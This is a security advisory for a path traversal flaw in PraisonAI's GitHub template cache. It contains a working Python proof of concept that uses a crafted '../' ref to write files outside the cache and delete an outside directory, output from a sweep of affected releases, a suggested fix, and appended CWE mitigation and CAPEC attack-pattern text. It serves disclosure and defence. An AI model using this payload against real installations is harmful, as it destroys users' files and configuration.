"details": "## Summary\n\nPraisonAI\u0027s template loader accepts GitHub template URIs with refs, for example\n`github:owner/repo/template@v1.0.0`. The resolver stores the user-controlled\ntemplate path and ref verbatim, and the cache layer later joins those values into\n`~/.praison/cache/templates/github/\u003cowner\u003e/\u003crepo\u003e/\u003ctemplate\u003e/\u003cref\u003e` without\nnormalizing each segment or checking that the final path remains inside the\ntemplate cache root.\n\nA crafted ref such as `../../../../../../outside-delete-target` therefore\nescapes the cache directory. The first load can write `.cache_meta.json` outside\nthe cache. If the normal cache hierarchy for the same owner/repo/template has\nalready been created, the same path reaches `shutil.rmtree(cache_path)` and\nremoves an attacker-selected outside directory before replacing it with cache\nmetadata.\n\nThis is distinct from the old template Zip Slip advisory. No malicious archive\nmember is needed, and the PoV disables network access entirely. The bug is in\ncache-key construction for GitHub template URIs.\n\n## Affected versions\n\nConfirmed vulnerable:\n\n- `v2.6.0`\n- `v3.9.24`\n- `v3.9.26`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.9`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nRecommended affected range: `\u003e= 2.6.0, \u003c= 4.6.57`.\n\nNo fixed version is known at the time of this report.\n\n## Impact\n\nAn attacker who can cause a user or service to load an attacker-supplied\nPraisonAI GitHub template URI can:\n\n- create `.cache_meta.json` outside the template cache directory;\n- delete a directory reachable by the PraisonAI process after a normal cache\n entry exists for the same owner/repo/template prefix;\n- corrupt user configuration, project state, or application data reachable by\n the process permissions.\n\n## Root cause\n\nCurrent-head code path:\n\n- `praisonai/templates/resolver.py`: `GITHUB_PATTERN` captures `path` and `ref`\n with broad regex groups and returns them without segment validation.\n- `praisonai/templates/security.py`: `is_source_allowed()` allows GitHub sources\n by default when `allow_any_github` is true.\n- `praisonai/templates/registry.py`: `get_template()` resolves a GitHub URI,\n fetches the template, calculates a checksum, then calls `self.cache.put(...)`.\n- `praisonai/templates/cache.py`: `_get_cache_path()` builds the cache path as\n `self.cache_dir / \"github\" / resolved.owner / resolved.repo /\n resolved.path / ref`.\n- `praisonai/templates/cache.py`: `put()` removes an existing `cache_path` with\n `shutil.rmtree(cache_path)`, recreates it, copies content, and writes\n `.cache_meta.json`.\n\nThere is no check equivalent to:\n\n1. reject absolute path segments;\n2. reject `.` / `..` in owner, repo, template path, or ref;\n3. resolve the candidate path;\n4. require `os.path.commonpath([cache_root, candidate]) == cache_root`.\n\n## Local-only PoV\n\nRun from a PraisonAI source checkout:\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom praisonai.templates.cache import TemplateCache\nfrom praisonai.templates.loader import TemplateLoader\nfrom praisonai.templates.registry import TemplateRegistry\n\ndef loader(cache_dir):\n cache = TemplateCache(cache_dir=cache_dir)\n registry = TemplateRegistry(cache=cache, offline=False)\n registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(\n RuntimeError(\"network disabled\")\n )\n return TemplateLoader(cache=cache, registry=registry)\n\nwith TemporaryDirectory(prefix=\"prai-cache-ref-pov-\") as tmp:\n root = Path(tmp)\n cache_dir = root / \"cache\" / \"templates\"\n\n write_target = root / \"outside-write-target\"\n loader(cache_dir).load(\n \"github:attacker/repo/template@../../../../../../outside-write-target\"\n )\n\n delete_target = root / \"outside-delete-target\"\n delete_target.mkdir()\n canary = delete_target / \"canary.txt\"\n canary.write_text(\"delete-me\")\n\n ldr = loader(cache_dir)\n ldr.load(\"github:attacker/repo/template@main\")\n ldr.load(\n \"github:attacker/repo/template@../../../../../../outside-delete-target\"\n )\n\n safe_target = root / \"safe-control\"\n safe_target.mkdir()\n safe_canary = safe_target / \"canary.txt\"\n safe_canary.write_text(\"must-remain\")\n loader(root / \"safe-cache\" / \"templates\").load(\n \"github:attacker/repo/template@main\"\n )\n\n print(\"outside metadata written:\", (write_target / \".cache_meta.json\").exists())\n print(\"outside canary exists after malicious ref:\", canary.exists())\n print(\"safe canary exists after normal ref:\", safe_canary.exists())\n```\n\nExpected output:\n\n```text\noutside metadata written: True\noutside canary exists after malicious ref: False\nsafe canary exists after normal ref: True\n```\n\nThe PoV uses only temporary directories and disables network fetches.\n\nI also confirmed the same behavior without monkeypatching network fetches. With\na non-existent GitHub repository, PraisonAI makes real GitHub requests, handles\nthe failed fetch, returns a fallback template config, and still writes/deletes\nthrough the escaped cache path. The PoV above disables network only to keep the\nreproducer deterministic and harmless.\n\n## Release sweep\n\nThe same PoV was run against checked-out tags:\n\n```text\npraisonai-current metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True\npraisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True\n```\n\n`git log` shows the affected template cache/resolver/registry files were added\nin the `v2.6.0` release commit `e7a8ce8e`.\n\n\n## Suggested fix\n\nValidate every cache path segment before joining:\n\n- owner and repo: strict GitHub owner/repo-name regex;\n- template path: split on `/` and reject empty, `.`, `..`, and absolute forms;\n- ref: reject `/`, path separators, empty segments, `.`, `..`, and absolute\n forms, or encode/hash the ref before using it in a filesystem path.\n\nThen enforce a final boundary check:\n\n```python\ncache_root = self.cache_dir.resolve()\ncandidate = (cache_root / \"github\" / owner / repo / safe_path / safe_ref).resolve()\nif os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):\n raise ValueError(\"template cache path escapes cache root\")\n```\n\nA more robust design is to hash untrusted URI fields into opaque directory names\ninstead of using raw remote identifiers as path segments.\n\nAlso consider failing closed when a GitHub template fetch returns no files.\nCurrently a failed fetch can still result in a cached empty template directory.",
"id": "GHSA-f44v-7qgw-9gh9",
"modified": "2026-06-18T14:24:55Z",
"published": "2026-06-18T14:24:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f44v-7qgw-9gh9"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion"
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.